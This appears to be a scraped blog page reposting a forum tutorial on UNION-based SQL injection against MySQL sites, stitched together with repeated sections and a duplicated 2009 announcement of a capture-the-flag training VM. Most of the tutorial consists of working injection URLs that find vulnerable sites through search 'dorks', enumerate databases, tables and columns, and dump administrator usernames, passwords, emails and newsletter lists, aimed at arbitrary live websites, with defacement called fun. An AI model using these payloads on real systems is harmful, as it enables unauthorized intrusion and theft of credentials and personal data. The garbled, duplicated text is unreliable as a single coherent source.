Notice we change 'database()' to our hexed database name '0x6578616d706c65646232'
For our example we'll say we got back:
newsletter, members, administrators
That's the good stuff, normally you wouldn't have found this information and just moved onto another site.
8. Getting Column Names
This is exactly like getting table names you just change table_name to column_name and information_schema.tables to information_schema.columns:
http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5 FROM information_schema.columns WHERE table_schema=database()--
That's gonna give you every column name on the database but you don't want the columns for 'exampledb' remember because there wasn't any useful info in there, you want just the column names from 'exampledb2' because there were member info and admin info in that database. So now you open you Text-to-hex again and hex your database again so 'exampledb2' becomes ' 0x6578616d706c65646232'
Code:
http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5 from information_schema.columns WHERE table_schema= 0x6578616d706c65646232--
That will only return the column names from that selected database. We'll say we got back:
email, username, password, first_name, last_name
If you remember the table names from exampledb2, which you should because you always paste into notepad right?, you can get the administrators username, password, email address, and full name.
To get this you would do:
Code:
http://www.example.com/index.php?id=-1 union select 1,group_concat(username,0x3a,password,0x3a,email,0x3a,first_name,0x3a,last_name) ,3,4,5 FROM exampledb2.administrators--
0x3a being the hex value for a colon ':' so that you can easily seperate the information. Sometimes this wont work though, sometimes you have to hex the databasename.tablename (not alot but sometimes) so in that case it would be:
Code:
http://www.example.com/index.php?id=-1 union select 1,group_concat(username,0x3a,password),3,4,5 from 0x6578616d706c656462322e61646d696e6973747261746f7273--
Which will then give you what you're looking for.
9. LIMIT What is it and why do I need to know it?
Ever found a database that is full of users/emails/anything else that you want but can't get it all because the website just wont display them all at one go? Well, this is where you need the LIMIT statement.
For our example we will say we want the emails from the exampledb2.newsletter table, the only column in that table is 'email', probably never be that easy but hey this is an example right? There are 500 emails in this database and when we group_concat(email) from the database we only get back 20 results and 1 half cut-off like random.douchebag@gma so how do we get the rest of the 480 emails? This is where your perseverance will come into play, if you want it that bad you would use the LIMIT statement to get them since we already got the first 20 results we'll start at 21 to get the full email address that is cut off:
Code:
http://www.example.com/index.php?id=-1 union select 1,concat(email),3,4,5 from exampledb2.newsletter limit 21,9999999--
Note when using limit: You can't use group_concat() it will error, drop the group and just use concat().
The 999999 can be any number higher than the row count in the database I just use that because it is easy. You would do this increasing your number by 1 until you get an error or just a blank area where the email addresses have been popping up. Ex: limit 22,9999999--,limit 23,9999999--,limit 24,9999999--
Yes, it will take a long time to do this, there are tools used to dump databases though, most common used is SQLI Helper, thought this tool is flawed too because it won't increase the last number when limiting if needed.
10. End Notes
Well, that's it. I do hope that I helped at least a few of you. I know it was a long read for those of you that actually went through it all, but I think at least half of the people who read this will learn something new. On another note SQL Injection can be fun to do, defacing websites even more fun sometimes, but you need to know that it is illegal. Here are some things to keep in mind.
[qoute]
Hacking is covered under law Title 18: Crimes and Criminal Procedure: Part 1: Crimes: Chapter 47: Fraud and False Statements: Section 1030: Fraud and related activity in connection with computers. The federal punishment for hacking into computers ranges from a fine or imprisonment for no more than one year to a fine and imprisonment for no more than twenty years. This wide range of punishment depends upon the seriousness of the criminal activity and what damage the hacker has done.
[/qoute]
The Ten Commandments of Computer Ethics by the Computer Ethics Institute:
1. Thou shalt not use a computer to harm other people.
2. Thou shalt not interfere with other people's computer work.
3. Thou shalt not snoop around in other people's computer files.
4. Thou shalt not use a computer to steal.
5. Thou shalt not use a computer to bear false witness.
6. Thou shalt not copy or use proprietary software for which you have not paid.
7. Thou shalt not use other people's computer resources without authorization or proper compensation.
8. Thou shalt not appropriate other people's intellectual output.
9. Thou shalt think about the social consequences of the program you are writing or the system you are designing.
10. Thou shalt always use a computer in ways that insure consideration and respect for your fellow humans.
If I helped, post some feedback, if I didn't PM me with your question and if it warrants an answer I will reply and add that into the tutorial.
Don't forget to RATE my thread. 5 Stars would be nice.
Last minute edition:
Difinitive SQL E-Book Collection
Contents:
The Visibooks Guide to MySQL Basics
Sybex - Mastering MySQL 4
Sams - Teach Yourself Mysql in 10 Minutes
Sams - MySQL Database Design and Tuning
Sams - MySQL Tutorial
Sams - MySQL Phrasebook - Essential Code and Commands
Sams - MySQL Crash Course
Sams - MySQL Certification Study Guide
Sams - MySQL 2nd Edtion
Peachpit Press - Visual Quickstart Guide -MySQL
O'Reilly - MySQL Pocket Refernce
O'Reilly - MySQL in a Nutshell
O'Reilly - MySQL Cookbook
O'Reilly - MySQL and mSQL
O'Reilly - Managing and Using MySQL
O'Reilly - High Performance MySQL
MySQL Press - MySQL Administrator's Guide and Language Reference
McGraw Hill - MySQL Essential Skills
Download Link
Code:
#!/usr/bin/laden -w
use Weapons::Of qw(Mass Destruction);
if ( $home eq "Cave M_of_Nowhere") {
print "I HAZ DE URANIUM\n";
}
http://www.hackforums.net/showthread.php?tid=94738
1. Introduction(Kinda Pointless)
2. Finding Vulnerable Sites.
3. Getting Number of Columns.
4. Getting MySQL Version.
5. Getting Database Names.
6. Getting Database User.
7. Getting Table Names.
8. Getting Column Names.
9. LIMIT, What is it and why do I need to know it?
10. End Notes
1. Introduction(Kinda Pointless)
First, if you find that I have written something that is wrong, please address it and I will fix it. There is one simple reason why I am writing this paper, mainly because there are so many simple SQL Injection questions that flood this board everyday and people just simple say things like “Learn to use the search function.â€, “Google is your friendâ€, or some other just completely non-helpful remarks. If you aren't going to help someone why reply at all? Just go on to another thread. That doesn't even bring up the number of private messages that I receive daily with questions related to SQL Injection, on a slow day I receive 1-2 private messages, on a normal day I will get up to 10 with questions about SQL, or even “What is your MSN/Yahoo/AIM/E-Mail, I need help.†Most of the time I do try to help as much as I can, but it does get old too. Well, enough ranting here goes.
2. Finding Vulnerable Sites
First you need to know what makes a site vulnerable to SQL Injection before you can find and vulnerable sites.
The most common reason that a site is vulnerable to SQL Injection attacks in because the owner/coder didn't use the built in MySQL feature 'mysql_real_escape_string()'. The purpose of this function is to sanitize or remove special characters from an SQL query. The most common side-effect is the simple Username/Password exploit ' or 1='1. Most website administrators today use this function along with stripslashes() or addslashes() to further sanitize the data.
Well since I gave you a very basic reason for why certain sites are vulnerable we will move onto finding some vulnerable sites to play with.
When talking about finding sites to inject you will hear the term “dork†a lot, what this refers to is a google search term targeted at finding vulnerable websites. A “google dork†uses the built in google functions inurl:, or allinurl: to search for websites that have certain strings in their URL or website address, an example of a google dork is: inurl:index.php?id=1, entering this string into the google search engine would return all of the sites in google's cache with the string index.php?id=1 in their URL, Ex: http://www.example.com/index.php?id=1
Here are some lists of “dorks†to use:
http://www.hackforums.net/showthread.php?tid=76925
http://www.hackforums.net/showthread.php?tid=71313
http://go-blog.web.id/?p=3
http://sql-injection-tools.blogspot.com/...hafiq.html
Now that we know what a google dork is we can start finding vulnerable sites. To be vulnerable the site has to have a GET parameter in the URL: index.php?id=1, id=1 being the GET parameter 'gets' the 1 'id' from the SQL database(Understand? Good.)
So you are going to go to http://www.google.com,http://www.blackle.com, or http://www.dogpile.com and search for your selected dork. When you get your list you can start checking for vulnerabilities. To do this the most common way is to add a back-tick after one of the integers in the URL
Example: http://www.example.com/index.php?id=1'
Now there are many ways for a site to show you that it is vulnerable the most common are errors:
You have an error in your SQL Syntax
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():
If you receive any of these errors when you enter the ' after the number then chances are the site is vulnerable to SQL Injection attacks to some extent, but that isn't the only way to see if a site is vulnerable, the biggest overlooked error is when a main part of the site just simply disappears, such as a news article or a body of text on the main site. If this happens then it is likely that the site is vulnerable also.
3. Getting Number of Columns
After you find your vulnerable site the first step you need to take is to find the number of columns in the table that is in use. There are a couple of ways that people do this, personally I use the ORDER BY statement, there is also GROUP BY which accomplishes the same thing, but it's just habit. A lot of people use the string AND 1=0 before their queries, most of the time this is just a waste of time to type this out, the only time you need this is if you try ORDER BY 300-- and you don't receive an error, then you would add the and 1=0 to your query.
To find number of columns you start with ORDER BY 1, if it doesn't error then you are good to go, sometimes you will get a syntax error when doing ORDER BY 1 that's why it is important to start there, if you get the syntax error your best bet is to move on to another site. If you don't get an error I always go to ORDER BY 300 to see if I will get an error there, sometimes you could go on for years and never get an error, there can't be 300 columns in the database so you should always get an error. After getting the error on 300 it is up to you how you want to find the number of columns, personally I jump around out of habit I usually do something like this:
Code:
http://www.example.com/index.php?id=1 ORDER BY 1--
no error
http://www.example.com/index.php?id=1 ORDER BY 300--
error
http://www.example.com/index.php?id=1 ORDER BY 10--
error
http://www.example.com/index.php?id=1 ORDER BY 5--
no error
http://www.example.com/index.php?id=1 ORDER BY 6--
error
After this you know that your website has 5 columns because it errors on everything above ORDER BY 5, and doesn't error on anything below ORDER BY 5.
Note on comments: Comments are not always necessary when injecting a website, although sometimes they are, by comments I am referring to the – at the end of the URL.
Possible comments to use are --, /*, /**/, or simply nothing at the end.
4. Getting MySQL Version
Now that we have the number of columns you are going to want to get the version of the database you are working on, this is an important step, because any version lower than 5 you will have to guess table names and column names. I don't recommend working on a database lower than version 5 for beginners, you should get aquanted with SQL Injection first. Before we can get the version you have to find a visible column number. This is where the Injection part really starts. To do this you will use a SELECT statement and the UNION statement. Most people don't understand that these are two completely different SQL statements, the reason you use UNION SELECT is because you are already SELECTing from the database when you are simply visiting the site.
For example: http://www.example.com/index.php?id=1
What this URL is telling the database is SELECT * FROM 'tablenamehere' WHERE id='1';
Now when we add out UNION into that URL we are adding two SQL statements together since our example website has 5 columns this is what our query would look like:
http://www.example.com/index.php?id=1+UNION+SELECT+1,2,3,4,5--
The website should return normal after doing this, if it doesn't and it tells you something like “Forbidden†or some other error, then the website doesn't support union statements and you need to move on. If it doesn't error then add a negative sign after the equals sign like this:
http://www.example.com/index.php?id=-1+UNION+SELECT+1,2,3,4,5--
There is a reason for this people, I've been asked many times why you do this, the reason is when you send this query to the database you are sending something like:
SELECT * FROM 'tablenamehere' WHERE id='-1' AND SELECT 1,2,3,4,5
There isn't a -1 in the id column so the database will return a blank section of the page, but since we have our other SELECT statement in there it will return numbers back in the data's place. Those are our visible columns. For our example we'll say we got back the numbers 2 and 3 so these are the numbers that we can retrieve data from. To get our database version there are two ways either @@version or version(). To use them do this:
http://www.example.com/index.php?id=-1+UNION+SELECT+1,@@version,3,4,5--
or
http://www.example.com/index.php?id=-1+UNION+SELECT+1,concat(version()),3,4,5--
If you get an error like “Illegal mix of coallations when using @@version you simple have to convert it to latin from UTF8 like so:
http://www.example.com/index.php?id=-1+UNION+SELECT+1,convert(@@version using latin1),3,4,5--
NOTE: Notice that we completely replace the number 2 with our query, something like union select 1,concat(version()),2,3,4,5-- will not work.
Well if it worked you know now the version of the MySQL database in use you will see something like 5.0.13-log, or 4.0.0.1-delta, there are countless versions and types but all we need to focus on is the first number if it 5 then we are good to go, if it is 4 then if you are new you should move on.
5. Getting Database Names
I haven't seen this covered on any papers on SQL Injection so I will include it because it is an important part of SQL Injection. For novice SQL Injectors ever started to inject a website then find no useful data such as. usernames/passwords? Most likely because the current database in use for the site only holds data like news articles and the like. This is where getting the different database names is important. In version of MySQL higher than 5 there will always be a database named 'information_schema' and most of the time a database named 'test', neither of these hold data that you will need to know, but yet the information_schema database is the reason that injection v5+ databases is so easy.
To get list of databases do this:
http://www.example.com/index.php?id=-1+UNION+SELECT+1,group_concat(schema_name),3,4,5+ FROM+information_schema.schemata--
Now where you saw the database version pop up earlier you will see the names of all of the different databases we will say for our example we got back something like this:
information_schema,exampledb,exampledb2,test
If you want to know what the database in use right now do this:
Code:
http://www.example.com/index.php?id=-1 UNION SELECT 1,concat(database()),3,4,5--
We'll say we got back 'exampledb'.
From now on it is a good idea to have a text editor open like notepad/gEdit to save this information for later use. I always have notepad open when I am injecting a site, with a template like this:
Databases:
Tables:
Columns:
So that I can quickly copy and paste in. In my opinion this is a good habit to get into.
6. Getting Database User
Not really necessary but good to know use user():
Code:
http://www.example.com/index.php?id=-1 UNION SELECT 1,concat(user()),3,4,5--
7. Getting Table Names
I'm going to go a little more in-depth than most tutorials you'll see on the internet here because they aren't very thorough, most will just tell you how to get the tables of the current database but I am going to show you how to get table names from selected databases.
6. To get table names of current database:
http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4,5 from information_schema.tables WHERE table_schema=database()--
You will see a list of table names come out, for our example we will say we got:
news, images, ads, links
Wow that looks useful huh? That is information we can get from just looking at the website, so now it's time to get tables from our other database we found earlier 'exampledb2' This is where your best friend the hex converter will come in handy. To get tables from selected databases you have to hex the name.
So we convert exampledb2 to 6578616d706c65646232. Always rember to add the 0x in front of the hexed name to tell the database that it is hex encoded and it need to decode it to get the right name. So our database name ends up being 0x6578616d706c65646232.
Online text-to-hex converters:
http://www.motobit.com/util/binary-file-...string.asp
http://www.string-functions.com/string-hex.aspx
http://home2.paulschou.net/tools/xlate/
Now for the query:
http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=0x6578616d706c65646232--
Notice we change 'database()' to our hexed database name '0x6578616d706c65646232'
For our example we'll say we got back:
newsletter, members, administrators
That's the good stuff, normally you wouldn't have found this information and just moved onto another site.
8. Getting Column Names
This is exactly like getting table names you just change table_name to column_name and information_schema.tables to information_schema.columns:
http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5 FROM information_schema.columns WHERE table_schema=database()--
That's gonna give you every column name on the database but you don't want the columns for 'exampledb' remember because there wasn't any useful info in there, you want just the column names from 'exampledb2' because there were member info and admin info in that database. So now you open you Text-to-hex again and hex your database again so 'exampledb2' becomes ' 0x6578616d706c65646232'
Code:
http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5 from information_schema.columns WHERE table_schema= 0x6578616d706c65646232--
That will only return the column names from that selected database. We'll say we got back:
email, username, password, first_name, last_name
If you remember the table names from exampledb2, which you should because you always paste into notepad right?, you can get the administrators username, password, email address, and full name.
To get this you would do:
Code:
http://www.example.com/index.php?id=-1 union select 1,group_concat(username,0x3a,password,0x3a,email,0x3a,first_name,0x3a,last_name) ,3,4,5 FROM exampledb2.administrators--
0x3a being the hex value for a colon ':' so that you can easily seperate the information. Sometimes this wont work though, sometimes you have to hex the databasename.tablename (not alot but sometimes) so in that case it would be:
Code:
http://www.example.com/index.php?id=-1 union select 1,group_concat(username,0x3a,password),3,4,5 from 0x6578616d706c656462322e61646d696e6973747261746f7273--
Which will then give you what you're looking for.
9. LIMIT What is it and why do I need to know it?
Ever found a database that is full of users/emails/anything else that you want but can't get it all because the website just wont display them all at one go? Well, this is where you need the LIMIT statement.
For our example we will say we want the emails from the exampledb2.newsletter table, the only column in that table is 'email', probably never be that easy but hey this is an example right? There are 500 emails in this database and when we group_concat(email) from the database we only get back 20 results and 1 half cut-off like random.douchebag@gma so how do we get the rest of the 480 emails? This is where your perseverance will come into play, if you want it that bad you would use the LIMIT statement to get them since we already got the first 20 results we'll start at 21 to get the full email address that is cut off:
Code:
http://www.example.com/index.php?id=-1 union select 1,concat(email),3,4,5 from exampledb2.newsletter limit 21,9999999--
Note when using limit: You can't use group_concat() it will error, drop the group and just use concat().
The 999999 can be any number higher than the row count in the database I just use that because it is easy. You would do this increasing your number by 1 until you get an error or just a blank area where the email addresses have been popping up. Ex: limit 22,9999999--,limit 23,9999999--,limit 24,9999999--
Yes, it will take a long time to do this, there are tools used to dump databases though, most common used is SQLI Helper, thought this tool is flawed too because it won't increase the last number when limiting if needed.
10. End Notes
Well, that's it. I do hope that I helped at least a few of you. I know it was a long read for those of you that actually went through it all, but I think at least half of the people who read this will learn something new. On another note SQL Injection can be fun to do, defacing websites even more fun sometimes, but you need to know that it is illegal. Here are some things to keep in mind.
[qoute]
Hacking is covered under law Title 18: Crimes and Criminal Procedure: Part 1: Crimes: Chapter 47: Fraud and False Statements: Section 1030: Fraud and related activity in connection with computers. The federal punishment for hacking into computers ranges from a fine or imprisonment for no more than one year to a fine and imprisonment for no more than twenty years. This wide range of punishment depends upon the seriousness of the criminal activity and what damage the hacker has done.
[/qoute]
The Ten Commandments of Computer Ethics by the Computer Ethics Institute:
1. Thou shalt not use a computer to harm other people.
2. Thou shalt not interfere with other people's computer work.
3. Thou shalt not snoop around in other people's computer files.
4. Thou shalt not use a computer to steal.
5. Thou shalt not use a computer to bear false witness.
6. Thou shalt not copy or use proprietary software for which you have not paid.
7. Thou shalt not use other people's computer resources without authorization or proper compensation.
8. Thou shalt not appropriate other people's intellectual output.
9. Thou shalt think about the social consequences of the program you are writing or the system you are designing.
10. Thou shalt always use a computer in ways that insure consideration and respect for your fellow humans.
If I helped, post some feedback, if I didn't PM me with your question and if it warrants an answer I will reply and add that into the tutorial.
Don't forget to RATE my thread. 5 Stars would be nice.
Last minute edition:
Difinitive SQL E-Book Collection
Contents:
The Visibooks Guide to MySQL Basics
Sybex - Mastering MySQL 4
Sams - Teach Yourself Mysql in 10 Minutes
Sams - MySQL Database Design and Tuning
Sams - MySQL Tutorial
Sams - MySQL Phrasebook - Essential Code and Commands
Sams - MySQL Crash Course
Sams - MySQL Certification Study Guide
Sams - MySQL 2nd Edtion
Peachpit Press - Visual Quickstart Guide -MySQL
O'Reilly - MySQL Pocket Refernce
O'Reilly - MySQL in a Nutshell
O'Reilly - MySQL Cookbook
O'Reilly - MySQL and mSQL
O'Reilly - Managing and Using MySQL
O'Reilly - High Performance MySQL
MySQL Press - MySQL Administrator's Guide and Language Reference
McGraw Hill - MySQL Essential Skills
Download Link
Code:
#!/usr/bin/laden -w
use Weapons::Of qw(Mass Destruction);
if ( $home eq "Cave M_of_Nowhere") {
print "I HAZ DE URANIUM\n";
}
http://www.hackforums.net/showthread.php?tid=94738
Tuesday, June 2, 2009
LAMPSecurity.org Capture the Flag Exercise
Hello,
I'm happy to announce that the second installment (cryptically called
CTF5) of LAMPSecurity.org's capture the flag series of exercises is now
available. This edition is novel in that it includes a 0-day exploit
that can be used (indirectly) to gain root. This is a training exercise
released in support of the educational mission of LAMPSecurity.org. The
exercise is modeled after many of the exercises that are presented in
expensive commercial training courses, except it's free, of course.
Unlike tools like OWASP's WebGoat, LAMPSecurity.org's capture the flag
exercise consists of a full, vulnerable, virtual machine (VMWare's free
Player is required). This allows users to explore vulnerabilities at
every level of the LAMP stack. The first exercise includes an "attack"
VM as well, with tools pre-installed (where possible). It also includes
over 60 pages of step-by-step documentation so no prior experience is
necessary (although the documentation only outlines one of several
routes to root compromise). The exercise is designed to educate system
administrators and developers on some common dangers and
mis-configurations facing Linux,Apache,MySQL, PHP (LAMP) applications.
Further details, including the documentation, are available at
http://lampsecurity.org/capture-the-flag-5. The vulnerable virtual
machine and attack image are available from SourceForge at
https://sourceforge.net/projects/lampsecurity/. Constructive feedback is
of course welcome. Thank you and enjoy.
- --
Justin C. Klein Keane
http://www.MadIrish.net
http://www.LAMPSecurity.org
I'm happy to announce that the second installment (cryptically called
CTF5) of LAMPSecurity.org's capture the flag series of exercises is now
available. This edition is novel in that it includes a 0-day exploit
that can be used (indirectly) to gain root. This is a training exercise
released in support of the educational mission of LAMPSecurity.org. The
exercise is modeled after many of the exercises that are presented in
expensive commercial training courses, except it's free, of course.
Unlike tools like OWASP's WebGoat, LAMPSecurity.org's capture the flag
exercise consists of a full, vulnerable, virtual machine (VMWare's free
Player is required). This allows users to explore vulnerabilities at
every level of the LAMP stack. The first exercise includes an "attack"
VM as well, with tools pre-installed (where possible). It also includes
over 60 pages of step-by-step documentation so no prior experience is
necessary (although the documentation only outlines one of several
routes to root compromise). The exercise is designed to educate system
administrators and developers on some common dangers and
mis-configurations facing Linux,Apache,MySQL, PHP (LAMP) applications.
Further details, including the documentation, are available at
http://lampsecurity.org/capture-the-flag-5. The vulnerable virtual
machine and attack image are available from SourceForge at
https://sourceforge.net/projects/lampsecurity/. Constructive feedback is
of course welcome. Thank you and enjoy.
- --
Justin C. Klein Keane
http://www.MadIrish.net
http://www.LAMPSecurity.org
Subscribe to:
Posts (Atom)
LinkWithin
